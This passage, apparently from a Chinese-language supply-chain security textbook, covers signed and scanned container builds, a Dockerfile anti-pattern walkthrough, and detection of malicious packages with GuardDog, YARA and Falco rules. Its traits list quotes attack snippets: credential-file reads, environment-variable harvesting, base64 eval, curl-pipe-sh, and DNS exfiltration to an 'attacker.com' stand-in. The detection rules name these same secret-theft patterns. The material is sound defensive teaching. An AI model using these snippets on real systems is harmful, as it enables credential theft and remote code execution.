    - cron: '0 3 * * 1'      # ★ 每周一凌晨 3 点自动重建(及时拿到上游安全更新)
  workflow_dispatch:

permissions: {}

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
      packages: write
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

      # ① 固定上游基础镜像(用 digest!不是 tag)
      - name: Build
        run: |
          docker build \
            --build-arg BASE_IMAGE="eclipse-temurin@sha256:xxxx" \
            --build-arg BUILD_DATE="$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
            --build-arg VCS_REF="${GITHUB_SHA}" \
            -t registry.acme.com/base/java21:${{ github.run_id }} \
            -f Dockerfile.base .

      # ② ★ 扫描(有高危就阻断)
      - name: Scan
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: registry.acme.com/base/java21:${{ github.run_id }}
          format: 'sarif'
          output: 'trivy-results.sarif'
          severity: 'CRITICAL,HIGH'
          exit-code: '1'        # ★ 有 CRITICAL/HIGH 就失败
          ignore-unfixed: true  # 忽略暂无修复的(否则永远过不了)

      # ③ 生成 SBOM
      - name: Generate SBOM
        uses: anchore/sbom-action@v0
        with:
          image: registry.acme.com/base/java21:${{ github.run_id }}
          format: spdx-json
          output-file: base-sbom.spdx.json

      # ④ 推送
      - name: Push
        run: docker push registry.acme.com/base/java21:${{ github.run_id }}

      # ⑤ 签名 + 附加 SBOM
      - uses: sigstore/cosign-installer@v3
      - name: Sign and attest
        run: |
          DIGEST=$(docker inspect registry.acme.com/base/java21:${RUN_ID} \
                   --format='{{index .RepoDigests 0}}')
          cosign sign --yes "$DIGEST"
          cosign attest --yes --predicate base-sbom.spdx.json --type spdx "$DIGEST"
        env:
          RUN_ID: ${{ github.run_id }}

      # ⑥ ★ 通知下游项目更新(这是最容易被忽略、但最重要的一步)
      #    基础镜像更新了,所有用它构建的应用镜像都要重建
      - name: Notify downstream
        run: |
          # 调用内部 API,触发所有依赖此基础镜像的项目重建
          curl -X POST https://ci.acme.com/api/trigger-rebuild \
            -H "Authorization: Bearer ${CI_TOKEN}" \
            -d "{\"base_image\": \"registry.acme.com/base/java21\", \"version\": \"${RUN_ID}\"}"
        env:
          CI_TOKEN: ${{ secrets.CI_API_TOKEN }}

# ============================================================
# ★ 关键设计点总结:
#   ① 上游用 digest 锁定(防 tag 被重新指向)
#   ② 每周定时重建(及时拿安全更新)—— 基础镜像【必须持续更新】
#   ③ 扫描卡点(有高危阻断)
#   ④ 签名 + SBOM
#   ⑤ ★ 通知下游重建 —— 【没有这一步,安全更新永远不会到达生产环境】
#      (这是绝大多数公司的真实问题:基础镜像更新了,
#        但应用镜像没重建,生产上跑的还是半年前的旧层)
# ============================================================

9.7.3 Dockerfile 安全十诫

# ============================================================
# ❌❌❌ 反面教材(真实世界里到处都是这种 Dockerfile)
# ============================================================
FROM ubuntu:latest                    # ① latest(可变)+ ② 完整发行版
MAINTAINER zhangsan@acme.com

ADD https://example.com/app.tar.gz /tmp/    # ③ ADD 远程 URL(内容不可控、不走缓存)
RUN apt-get update && apt-get install -y \
    curl wget vim gcc make python3 openssh-server   # ④ 装一堆用不到的 + ⑤ 不清理缓存

ENV AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...        # ⑥★★★ 密钥写死在镜像里!
COPY . /app                            # ⑦ 全量复制(含 .git、.env、密钥文件)
RUN chmod 777 -R /app                  # ⑧ 权限 777

EXPOSE 22                              # ⑨ 开 SSH 端口
CMD ["/app/start.sh"]                  # ⑩ 用 shell 脚本启动(PID 1 是 shell,信号不转发)

# ★★ 这个文件里几乎每一条都是错的。下面逐条讲。

# ============================================================
# ✅ 正确写法(逐条对照)
# ============================================================

# ---------- ① 不要用 latest,用 digest ----------
# ❌ FROM ubuntu:latest
FROM eclipse-temurin:21-jre@sha256:3f9c8b1e7a2d4f6c...   # ✅
#   ★ 理由:latest 是可变 tag,今天和明天的内容可能不同(9.2.5)
#   ★ 折中:如果嫌 digest 不好看,至少锁定小版本 + 写注释:
#     FROM eclipse-temurin:21.0.2_13-jre   # 不用 latest,也不用 21(会跨小版本漂移)

# ---------- ② 用最小化基础镜像 ----------
# ❌ FROM ubuntu
FROM gcr.io/distroless/java21-debian12:nonroot@sha256:...  # ✅
#   或 alpine、或公司标准基础镜像

# ---------- ③ 用 COPY 而不是 ADD(除非真的要解压)----------
# ❌ ADD https://example.com/app.tar.gz /tmp/
# ✅ 如果必须下载,用 curl + 校验哈希,且在同一层里删掉
RUN curl -fsSL -o /tmp/app.tar.gz https://example.com/app.tar.gz \
    && echo "3f9c8b1e... /tmp/app.tar.gz" | sha256sum -c - \
    && tar -xzf /tmp/app.tar.gz -C /app \
    && rm -f /tmp/app.tar.gz
#   ★ 三个关键点:
#     a. 校验哈希(防止下载到被替换的文件)
#     b. 下载、校验、解压、删除【在同一条 RUN 里】
#        → 否则中间层里会残留 tarball(删除无效,见第 ⑤ 条)

# ---------- ④ 只装必需的,并清理 ----------
RUN apt-get update \
    && apt-get install -y --no-install-recommends \
        ca-certificates \
    && rm -rf /var/lib/apt/lists/*      # ★ 清理包管理器缓存,减小体积
#   ★ --no-install-recommends:不装"推荐但非必需"的包(能少装一半)

# ---------- ⑤ 多个命令合并成一层,并在同层清理 ----------
# ❌ 错误示范(清理是无效的):
#    RUN apt-get update
#    RUN apt-get install -y gcc
#    RUN rm -rf /var/lib/apt/lists/*     ← ★ 无效!
#   ★ 原理:Docker 的每一层是【增量】的,删除文件只在当前层记录一个"删除标记",
#          上一层的文件【依然存在于镜像中】,可以被提取出来。
#          → apt 缓存、下载的源码包、临时密钥,都还在镜像里!
#
# ✅ 正确:
RUN apt-get update && apt-get install -y --no-install-recommends gcc \
    && make && make install \
    && apt-get purge -y gcc make \
    && apt-get autoremove -y \
    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
#   ★ 所有"产生垃圾 + 清理垃圾"的操作必须在【同一个 RUN】里

# ---------- ⑥★★★ 绝对不要把密钥写进镜像 ----------
# ❌ ENV AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
# ❌ COPY id_rsa /root/.ssh/id_rsa
# ❌ ARG NPM_TOKEN
#    RUN echo "//registry.npmjs.org/:_authToken=${NPM_TOKEN}" > ~/.npmrc
#      ★★ 即使用 ARG,它也会留在镜像的【历史记录】里!
#      docker history <image> 可以看到所有 ARG 和 ENV
#
# ✅ 方案一:运行时注入(K8s Secret / 环境变量 / 挂载文件)
# ✅ 方案二:★ 多阶段构建(密钥只在 builder 阶段用,不会进入最终镜像)
FROM maven:3.9.6-eclipse-temurin-21 AS builder
ARG NPM_TOKEN                     # 只在 builder 阶段
RUN echo "//registry.npmjs.org/:_authToken=${NPM_TOKEN}" > ~/.npmrc \
    && npm install \
    && rm ~/.npmrc                # 用完即删(而且 builder 层不会进最终镜像)

FROM gcr.io/distroless/java21-debian12:nonroot
COPY --from=builder /build/target/app.jar /app/app.jar
#   ★ 最终镜像里【没有】 NPM_TOKEN,因为它只存在于 builder 阶段

# ✅ 方案三:BuildKit 的 secret mount(最优雅)
#    RUN --mount=type=secret,id=npmrc,target=/root/.npmrc \
#        npm install
#    → 密钥根本不进入镜像的任何一层,只在构建时临时挂载
#    构建命令:docker build --secret id=npmrc,src=$HOME/.npmrc .

# ---------- ⑦ 用 .dockerignore 排除敏感文件 ----------
# ❌ COPY . /app   (会把 .git/.env/id_rsa/target/ 全复制进去)
# ✅ 先写 .dockerignore:
#    .git
#    .env
#    .env.*
#    *.pem
#    *.key
#    id_rsa*
#    .aws/
#    .ssh/
#    .kube/
#    node_modules/
#    target/
#    *.log
#    Dockerfile*
#    .dockerignore
# ✅ 然后精确复制需要的文件
COPY --chown=nonroot:nonroot target/app.jar /app/app.jar

# ---------- ⑧ 最小权限 ----------
# ❌ RUN chmod 777 -R /app    (★ 777 = 任何用户可写 = 攻击者能改你的代码)
# ✅ 用非 root 用户,文件只给它读权限
USER nonroot                     # distroless 自带,或自己 useradd
# 如果是完整镜像:
#   RUN groupadd -g 1001 appgroup && \
#       useradd -u 1001 -g appgroup -s /sbin/nologin -M appuser
#   USER appuser
# ★ 配合 K8s 的 securityContext:
#   runAsNonRoot: true
#   allowPrivilegeEscalation: false
#   readOnlyRootFilesystem: true      ← ★ 只读根文件系统
#   capabilities: drop: ["ALL"]

# ---------- ⑨ 不要装 SSH、不要开 22 端口 ----------
# ❌ EXPOSE 22 + 装 openssh-server
# ★ 容器里跑 sshd 是反模式:
#     - 增加攻击面
#     - 密钥管理麻烦
#     - 违反"一个容器一个进程"
# ✅ 调试用 kubectl exec / kubectl debug

# ---------- ⑩ 用 exec 形式,让应用做 PID 1 ----------
# ❌ CMD ["/app/start.sh"]
#    ★ shell 做 PID 1 的问题:
#      ① 信号不转发:docker stop 发 SIGTERM,shell 不转给子进程
#         → 优雅停机失效,10 秒后被 SIGKILL 强杀
#      ② shell 退出后子进程变孤儿,僵尸进程无法回收
# ✅ 直接执行应用:
ENTRYPOINT ["java", "-jar", "/app/app.jar"]
# 如果必须用脚本,用 exec:
#   #!/bin/sh
#   set -e
#   exec java -jar /app/app.jar     ← ★ exec 替换当前进程,java 成为 PID 1

Dockerfile 检查清单(可以直接贴到 PR 模板):

## Dockerfile 安全检查

- [ ] 基础镜像用 digest 或精确版本(不用 latest)
- [ ] 使用最小化/distroless 基础镜像
- [ ] 用 COPY 而非 ADD(除非需要自动解压)
- [ ] 所有"安装 + 清理"在同一个 RUN 里
- [ ] 清理了包管理器缓存(apt lists / apk cache / yum cache)
- [ ] ★ 没有任何密钥、token、私钥(包括 ARG 也不行)
- [ ] 有 .dockerignore,排除了 .git/.env/.ssh/*.pem
- [ ] 以非 root 用户运行(USER 指令)
- [ ] 没有 sshd、没有 chmod 777、没有 --privileged
- [ ] 用 exec 形式或直接执行应用(不用 shell 包装脚本)
- [ ] 使用多阶段构建(构建依赖不进最终镜像)
- [ ] HEALTHCHECK 已配置

9.7.4 镜像扫描在 CI 中的集成(完整示例)

# ============================================================
# 一个完整的应用镜像构建流水线(含扫描卡点)
# ============================================================
name: Build App Image

on:
  push:
    branches: [main]
    tags: ['v*']

permissions: {}

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
      packages: write
      security-events: write      # ★ 上传 SARIF 到 GitHub Security 需要
    outputs:
      digest: ${{ steps.build.outputs.digest }}

    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

      - uses: docker/setup-buildx-action@v3

      # ---------- 构建 ----------
      - name: Build
        id: build
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: registry.acme.com/backend:${{ github.sha }}
          provenance: true      # ★ 自动生成 SLSA provenance
          sbom: true            # ★ 自动生成 SBOM

      # ---------- 扫描 1:漏洞 ----------
      - name: Vulnerability scan
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: registry.acme.com/backend@${{ steps.build.outputs.digest }}
          format: 'sarif'
          output: 'trivy-results.sarif'
          severity: 'CRITICAL,HIGH'
          ignore-unfixed: true

      - name: Upload scan results
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'trivy-results.sarif'

      # ---------- ★ 扫描 2:阻断(生产分支才阻断,PR 只提示)----------
      - name: Gate on critical vulnerabilities
        if: github.ref == 'refs/heads/main'
        run: |
          trivy image --exit-code 1 --severity CRITICAL \
            --ignore-unfixed \
            registry.acme.com/backend@${DIGEST}
        env:
          DIGEST: ${{ steps.build.outputs.digest }}

      # ---------- 扫描 3:配置问题(Dockerfile 最佳实践)----------
      - name: Dockerfile lint
        uses: hadolint/hadolint-action@v3.1.0
        with:
          dockerfile: Dockerfile
          failure-threshold: warning

      # ---------- 扫描 4:★ 镜像里的敏感信息 ----------
      - name: Secret scan in image
        run: |
          # 用 trufflehog 扫镜像层里有没有密钥
          docker save registry.acme.com/backend@${DIGEST} -o /tmp/image.tar
          mkdir -p /tmp/image-extract && tar -xf /tmp/image.tar -C /tmp/image-extract
          trufflehog filesystem /tmp/image-extract --only-verified --fail
        env:
          DIGEST: ${{ steps.build.outputs.digest }}

      # ---------- 签名 ----------
      - uses: sigstore/cosign-installer@v3
      - name: Sign
        run: cosign sign --yes registry.acme.com/backend@${DIGEST}
        env:
          DIGEST: ${{ steps.build.outputs.digest }}

      # ---------- 最终验证 ----------
      - name: Verify before completing
        run: |
          cosign verify \
            --certificate-identity-regexp "https://github\.com/${REPO}/\.github/workflows/.*" \
            --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
            registry.acme.com/backend@${DIGEST}
        env:
          REPO: ${{ github.repository }}
          DIGEST: ${{ steps.build.outputs.digest }}

★ 镜像扫描的三个局限性(诚实说明):

局限一:只能发现【已知】漏洞
   扫描器用的是 NVD/OSV 这类漏洞库。
   ★ 对于"刚发布的恶意包"(0day 投毒),扫描器【查不到】——
     因为还没有人给它建档。
   事实上,恶意包从发布到下架的平均时间是【几天到几周】,
   而中毒往往发生在发布后的【头几个小时】。
   → 所以扫描器对供应链投毒的防护是【滞后】的。

局限二:对"恶意但无 CVE"的包无能为力
   一个包可以完全合法、无任何已知 CVE,
   但它的 postinstall 脚本在偷你的环境变量。
   → 这是【行为】问题,不是【漏洞】问题。
   → 需要行为检测工具(9.8.2 的 Socket / GuardDog)。

局限三:大量误报导致告警疲劳
   典型场景:基础镜像里 openssl 报了 20 个 CVE,
   但你的应用根本没用到那些功能。
   → 需要 VEX(9.4.3)来消警。
   → 否则开发会把扫描器当噪音关掉。

9.7.5 部署侧:确保跑的就是你签过的那个镜像

这一节和 11 号文档的 K8s 安全有交集,这里只讲供应链相关的三点:

① ★★ 部署清单里必须用 digest,不能用 tag
   ❌ image: registry.acme.com/backend:v1.2.3
      → tag 可被重新 push,内容可变(9.2.5)
   ✅ image: registry.acme.com/backend@sha256:3f9c8b1e...
   ✅ 更好:registry.acme.com/backend:v1.2.3@sha256:3f9c8b1e...
      (tag 给人看,digest 给机器校验)

② ★★ 准入控制:拒绝未签名/未带 provenance 的镜像
   用 Kyverno / Sigstore Policy Controller / OPA Gatekeeper
   (配置示例见 9.6.4)
   ★ 这是"最后一道门":就算有人手工 kubectl apply 一个恶意镜像,也进不来

③ ★ 运行时:镜像不可变 + 只读根文件系统
   securityContext:
     readOnlyRootFilesystem: true
   → 就算容器里跑了个恶意进程,它也改不了文件系统(不能落盘持久化)
   → 配合 tmpfs 挂载 /tmp
# ============================================================
# ★ 实用脚本:把现有部署清单里的 tag 全部改成 digest
# ============================================================
#!/usr/bin/env bash
# pin_image_digests.sh —— 把 k8s 清单里的 image tag 替换为 digest
set -euo pipefail

MANIFEST_DIR="${1:-./k8s}"

echo "=== 扫描 ${MANIFEST_DIR} 下的镜像引用 ==="
# 找出所有 image: 行
grep -rn "image:" "$MANIFEST_DIR" --include="*.yaml" --include="*.yml" | while read -r line; do
    FILE=$(echo "$line" | cut -d: -f1)
    LINENO=$(echo "$line" | cut -d: -f2)
    IMAGE=$(echo "$line" | sed 's/.*image:[[:space:]]*//' | tr -d '"'"'"' | xargs)

    # 跳过已经用 digest 的
    if [[ "$IMAGE" == *"@sha256:"* ]]; then
        echo "[跳过] $IMAGE (已经是 digest)"
        continue
    fi

    # 跳过 k8s 官方镜像(可选,按公司策略)
    if [[ "$IMAGE" == registry.k8s.io/* ]]; then
        echo "[跳过] $IMAGE (K8s 官方镜像)"
        continue
    fi

    echo "[处理] $IMAGE"
    DIGEST=$(docker inspect "$IMAGE" --format='{{index .RepoDigests 0}}' 2>/dev/null || echo "")
    if [ -z "$DIGEST" ]; then
        # 本地没有,先拉取
        docker pull "$IMAGE" > /dev/null 2>&1
        DIGEST=$(docker inspect "$IMAGE" --format='{{index .RepoDigests 0}}' 2>/dev/null || echo "")
    fi

    if [ -n "$DIGEST" ]; then
        # 提取 registry/repo 部分(去掉 tag),拼上 digest
        REPO_PART="${IMAGE%%:*}"
        SHA_PART="sha256:${DIGEST##*@sha256:}"
        NEW_IMAGE="${REPO_PART}@${SHA_PART}"
        echo "  → ${NEW_IMAGE}"
        # 用 sed 替换该行(注意备份)
        sed -i.bak "${LINENO}s|image:.*|image: ${NEW_IMAGE}|" "$FILE"
    else
        echo "  ⚠️  无法获取 digest,请手动处理"
    fi
done

echo ""
echo "=== 完成。原文件已备份为 *.bak ==="
echo "★ 提醒:digest 锁定后,每次更新镜像都需要同步更新清单,"
echo "  建议用 Kustomize/Helm 把 digest 作为参数管理,或直接用 CD 工具(ArgoCD Image Updater)自动更新"

9.8 检测与响应:怎么发现“我中毒了”

9.2~9.7 讲的都是“怎么防”。这一节讲“防不住的时候,怎么发现”。

9.8.1 恶意包的十二个行为特征(★ 核心,面试官最爱问)

要检测恶意包,先要知道它长什么样。以下是从真实恶意样本中总结的行为特征,按“确定性”排序:

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第一梯队:几乎可以判定为恶意(正常包不会这么做)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

① ★ 读取 SSH 私钥 / 云凭据文件
     ~/.ssh/id_rsa、~/.aws/credentials、~/.kube/config、~/.docker/config.json
   → 一个"字符串处理库"没有任何理由读这些

② ★ 读取所有环境变量并外传
     Object.entries(process.env).filter(k => /TOKEN|KEY|SECRET/)
   → 这是 90% 的恶意包都要做的事

③ ★ 代码混淆 + 动态执行
     eval(Buffer.from('...', 'base64').toString())
     new Function(atob('...'))()
   → 【混淆本身就是一个强信号】。正经的开源库为什么怕你看它的代码?

④ ★ 执行 shell 命令
     child_process.exec('curl ... | sh')
     os.system('wget ... && chmod +x ...')
   → 尤其"下载并执行"这个模式

⑤ ★ 安装后建立持久化的网络连接或计划任务
     crontab、systemd service、launchd plist

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第二梯队:高度可疑(需要结合上下文判断)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

⑥ 访问与包功能无关的域名
     一个"日期格式化库"去连 pastebin.com / raw.githubusercontent.com
   ★ 尤其:刚创建几天的域名、使用 DNS 解析服务的域名

⑦ 有 postinstall / preinstall 脚本,而包本身是纯计算型库
     如 lodash-utils 有 postinstall → 高度异常

⑧ 用 DNS 查询外传数据
     dns.resolve(`${base64data}.attacker.com`)
   ★ 这是绕过"HTTP 出口白名单"的经典手法

⑨ 检测自己是否在 CI 环境 / 沙箱环境
     if (process.env.CI || fs.existsSync('/.dockerenv'))
   → 恶意包常用这招"只对真实目标下手,在沙箱里装乖"

⑩ 代码里硬编码的 IP 地址(而不是域名)
   → 逃避基于域名的检测

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第三梯队:弱信号(需要关联分析)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

⑪ 包名和描述不符 / README 是抄的
⑫ 发布时间与代码内容不匹配(如声称维护了 3 年,但只有 1 个 commit)

★ 一个真实的检测思路:行为基线对比

思路:不看"它做了什么不好的事",而看"它做了【超出声明功能】的事"

  一个声称"处理日期"的库:
    声明功能:日期解析、格式化、时区转换
    实际行为:读文件、发网络请求、执行 shell
    → ★ 行为超出了声明范围 = 异常

  ★ 这就是 Socket.dev 这类工具的核心思路:
    ① 静态分析包的代码,提取它的"能力"(capability)
    ② 和它声明的功能做比对
    ③ 超出部分告警

  举例:
    包名:date-formatter
    检测到的能力:
      ✓ 字符串处理(正常)
      ✓ 日期计算(正常)
      ⚠️ 文件系统读取(异常!)
      ⚠️ 网络请求(异常!)
      ⚠️ 子进程执行(异常!)
    → 判定:高风险

9.8.2 检测工具对比(各自的盲区要清楚)

工具 类型 检测什么 ★ 盲区 适合
npm audit CVE 库匹配 已知的漏洞(CVE/GHSA) ★ 只查 CVE,完全不知道“恶意行为”;且只对 npm 有效 基础必备,但远远不够
osv-scanner CVE 库匹配 多语言(npm/pip/maven/go/rust)的 OSV 漏洞 同上,只查已知漏洞 ★ 多语言项目的首选(Google 出品,免费)
Socket.dev ★ 行为分析 安装脚本、网络访问、文件访问、混淆、权限 商业服务(代码要上传);有漏报 ★ 目前最强的 npm 恶意包检测,有 GitHub App 可免费用于开源项目
GuardDog ★ 行为分析 PyPI/npm 包的启发式规则(基于 Semgrep + YARA) 规则库有限,误报较多 ★ 开源自建首选(Datadog 出品)
Snyk / JFrog Xray CVE + 部分行为 商业全能 贵;行为检测不如 Socket 企业级
Dependabot CVE + 自动升级 依赖的已知漏洞,自动提 PR ★ 只提醒,且自动升级本身是风险(可能自动升到恶意版本!) 建议:开提醒,关自动合并
Trivy / Grype CVE(镜像 + 文件系统) 容器镜像、OS 包、语言依赖 同 osv-scanner ★ 镜像扫描标配
Retire.js 前端 CVE 前端 JS 库的已知漏洞 只管前端 前端项目
★ 自建 YARA/Semgrep 规则 自定义 你们特有的模式 要自己维护规则 有安全团队时的补充

★ 一个重要提醒:Dependabot 的双刃剑

Dependabot / Renovate 的"自动合并"功能是个【供应链风险放大器】:

  场景:
    ① 攻击者攻陷了某个包的维护者账号
    ② 发布了恶意版本 1.2.4
    ③ 你的 Dependabot 配置了"minor 更新自动合并"
    ④ ★ 凌晨 3 点,Dependabot 自动提 PR,自动合并,自动部署
    ⑤ 早上你来上班,恶意代码已经在生产跑了 6 小时,
       而你看 PR 记录只看到一条"绿色通过的依赖更新"

  ★ 这就是为什么 9.2.3 强调"延迟升级":
     让社区先趟雷。恶意版本通常在【发布后几小时到几天内】被发现和紧急下架。

  ✅ 正确配置:
     - 自动【提 PR】,但不自动合并(除非是 patch 且来自高信誉维护者)
     - ★ 或者:延迟升级(Renovate 支持 minimumReleaseAge: '3 days')
        Renovate 配置:
          "minimumReleaseAge": "3 days"   # ★ 发布 3 天后的版本才升级
        → 这一个配置就能躲过绝大多数"刚发布就被抓"的投毒
     - 对安全更新(security update)可以放宽(因为那是修漏洞,不是新功能)

GuardDog 实战(开源自建方案):

# ============================================================
# GuardDog(Datadog 出品的开源恶意包检测工具)
# ============================================================
pip install guarddog

# 扫描 PyPI 包
guarddog pypi scan requests
guarddog pypi scan "numpy>=1.0.0"

# 扫描 npm 包
guarddog npm scan lodash
guarddog npm scan "express@4.18.2"

# ★ 扫描项目的 requirements.txt(最实用)
guarddog pypi verify requirements.txt

# 扫描 package.json
guarddog npm verify package.json

# 输出示例(发现问题时):
#   Found 2 potentially malicious indicators in requests:
#     * Executes code in install scripts (rule: npm-exec-base64)
#     * Connects to a URL that is not in the package's declared dependencies

# ============================================================
# 它内置的检测规则(了解原理,方便你排查误报)
# ============================================================
#   - npm-exec-base64:            安装脚本里有 base64 编码后执行的命令
#   - npm-serialize-environment:  序列化 process.env
#   - npm-obfuscation:            代码被混淆
#   - npm-silent-process-execution: 静默执行子进程(不关心输出)
#   - npm-install-script:         有安装脚本(本身只是提示)
#   - pypi-obfuscation
#   - pypi-steal-files:           读取敏感文件
#   - pypi-exfiltrate-sensitive-data: 外传敏感数据
#   - download-executable:        下载可执行文件
#   - clipboard-access:           访问剪贴板
#   - shady-links:                包里的链接指向可疑域名

# ============================================================
# CI 集成
# ============================================================
# - name: GuardDog scan
#   run: |
#     pip install guarddog
#     guarddog npm verify package.json --output-format json > guarddog.json
#     # 有发现就阻断(也可以只告警)
#     if [ -s guarddog.json ] && [ "$(cat guarddog.json)" != "[]" ]; then
#       echo "发现可疑依赖:"
#       cat guarddog.json
#       exit 1
#     fi

9.8.3 自建检测:用 YARA 扫依赖包

如果你想不依赖商业服务(代码不出内网),可以自己写规则。

# ============================================================
# malicious_package.yar —— 检测恶意 npm 包的 YARA 规则
# ============================================================
# 用法:
#   yara -r malicious_package.yar ./node_modules/
#   yara -r malicious_package.yar ~/.m2/repository/
# ============================================================

rule NPM_Steals_Environment_Variables {
    meta:
        description = "检测读取 process.env 并筛选敏感关键词的行为"
        severity = "high"
        reference = "常见于凭据窃取型恶意包"

    strings:
        $env_access = "process.env" ascii wide
        $key_filter = /(TOKEN|SECRET|PASSWORD|CREDENTIAL|AUTH|API_KEY|PRIVATE)/ ascii wide

    condition:
        $env_access and $key_filter
}

rule NPM_Dynamic_Code_Execution {
    meta:
        description = "检测 base64 + eval/Function 的动态执行(混淆载荷的典型特征)"
        severity = "high"

    strings:
        $b64_1 = "base64" ascii wide nocase
        $b64_2 = "fromCharCode" ascii wide
        $b64_3 = "atob" ascii wide
        $eval_1 = "eval(" ascii wide
        $eval_2 = "new Function" ascii wide
        $eval_3 = "vm.runInNewContext" ascii wide
        $eval_4 = "require('child_process')" ascii wide

    condition:
        any of ($b64_*) and any of ($eval_*)
}

rule NPM_Reads_Sensitive_Files {
    meta:
        description = "检测读取 SSH 私钥、云凭据等敏感文件"
        severity = "critical"

    strings:
        $ssh_1 = ".ssh/id_rsa" ascii wide
        $ssh_2 = ".ssh/id_ed25519" ascii wide
        $aws = ".aws/credentials" ascii wide
        $kube = ".kube/config" ascii wide
        $docker = ".docker/config.json" ascii wide
        $npmrc = ".npmrc" ascii wide
        $env_file = ".env" ascii wide
        $bash_hist = ".bash_history" ascii wide

    condition:
        2 of them
}

rule NPM_Silent_Network_Exfil {
    meta:
        description = "检测静默的网络外传(忽略错误,不关心响应)"
        severity = "medium"

    strings:
        $a = "on('error'" ascii wide
        $b = /catch\s*\(\s*\w*\s*\)\s*\{\s*\}/ ascii wide   // 空的 catch 块
        $c = "https.request" ascii wide
        $d = "Buffer.from(JSON.stringify" ascii wide

    condition:
        ($a or $b) and ($c or $d)
}

rule NPM_Anti_Analysis_Sandbox_Detection {
    meta:
        description = "检测沙箱/环境探测(恶意包常用:只在真实环境才激活)"
        severity = "medium"

    strings:
        $ci_1 = "process.env.CI" ascii wide
        $ci_2 = "GITHUB_ACTIONS" ascii wide
        $ci_3 = "JENKINS_URL" ascii wide
        $docker = "/.dockerenv" ascii wide
        $hostname = "os.hostname()" ascii wide

    condition:
        2 of them
}

rule NPM_DNS_Exfiltration {
    meta:
        description = "检测用 DNS 查询外传数据(绕过 HTTP 出口检测)"
        severity = "high"

    strings:
        $a = "dns.resolve" ascii wide
        $b = "dns.lookup" ascii wide
        $c = ".attacker" ascii wide

    condition:
        ($a or $b) and any of them
}

rule NPM_Postinstall_Curl_Pipe_Sh {
    meta:
        description = "检测安装脚本里下载并执行(curl | sh 模式)"
        severity = "critical"

    strings:
        $a = /curl\s+[^|]*\|\s*(ba)?sh/ ascii wide
        $b = /wget\s+[^;]*&&\s*(ba)?sh/ ascii wide
        $c = /curl\s+.*-o\s+\/tmp\/.*&&\s*chmod/ ascii wide

    condition:
        any of them
}
# ============================================================
# 使用:扫描 node_modules(★ 建议在 CI 里定期跑)
# ============================================================
yara -r -w malicious_package.yar ./node_modules/ 2>/dev/null | head -50

# ★ 只看高危(critical + high)
yara -r -w -t high malicious_package.yar ./node_modules/ 2>/dev/null

# 输出为机器可读格式,接入告警
yara -r -w -f malicious_package.yar ./node_modules/ 2>/dev/null > scan_results.txt

# ============================================================
# ★ 关键:降低误报的两个技巧
# ============================================================
# 技巧 1:只在【新引入/新变更】的依赖上扫
#   全量扫 node_modules 会有大量误报(很多正常库也有 base64 处理)
#   正确做法:
#     git diff HEAD~1 package-lock.json → 找出新增的包 → 只扫这些
#
#   脚本:
git diff HEAD~1 -- package-lock.json | \
  grep '^+.*"node_modules/' | \
  sed 's/.*node_modules\///; s/".*//' > /tmp/new_packages.txt

while read -r pkg; do
    if [ -d "node_modules/$pkg" ]; then
        yara -r -w malicious_package.yar "node_modules/$pkg" 2>/dev/null
    fi
done < /tmp/new_packages.txt

# 技巧 2:建立白名单(已知的正常模式)
#   比如 esbuild 有 postinstall(要下载二进制),这是正常的
#   维护一个 whitelist.txt,扫描后过滤掉

9.8.4 运行时检测(Falco 规则)

静态检测有滞后性,运行时检测是最后一道防线:如果恶意代码已经在跑,能不能抓到它。

# ============================================================
# Falco 规则:检测容器里的供应链攻击行为
# ============================================================
# Falco 是 CNCF 的运行时安全工具,基于 eBPF/内核模块监控系统调用
# 安装:helm install falco falcosecurity/falco
# ============================================================

- rule: Package Manager Executed in Container
  desc: 容器里执行了包管理器(apt/yum/apk/npm install)—— 正常业务不会这么干
  condition: >
    container.id != host and
    proc.name in (apt, apt-get, yum, dnf, apk, npm, pip, gem, composer) and
    not proc.pname in (docker, containerd)
  output: >
    容器内执行包管理器(可能是攻击者在安装工具)
    user=%user.name container=%container.name image=%container.image.repository
    cmd=%proc.cmdline
  priority: WARNING
  tags: [supply-chain, container]

---
- rule: Sensitive File Read by Non-System Process
  desc: 非系统进程读取了 SSH 私钥、云凭据等敏感文件
  condition: >
    (open_read or open_directory) and
    (fd.name startswith /root/.ssh or
     fd.name startswith /home/*/.ssh or
     fd.name glob /root/.aws/credentials or
     fd.name glob /home/*/.aws/credentials or
     fd.name glob /var/run/secrets/kubernetes.io or
     fd.name glob /etc/kubernetes) and
    not proc.name in (ssh, sshd, kubectl, kubelet, aws)
  output: >
    ⚠️ 敏感文件被读取(凭据窃取特征)
    file=%fd.name proc=%proc.name pid=%proc.pid
    container=%container.name image=%container.image.repository
    cmd=%proc.cmdline
  priority: CRITICAL
  tags: [supply-chain, credentials, mitre_credential_access]

---
- rule: Write to Binary Directory in Container
  desc: 往系统二进制目录写文件(持久化特征)
  condition: >
    container.id != host and
    (open_write or rename) and
    (fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin)) and
    not proc.name in (dpkg, rpm, apt, yum, apk)
  output: >
    ⚠️ 容器内写入系统二进制目录(可能是植入后门)
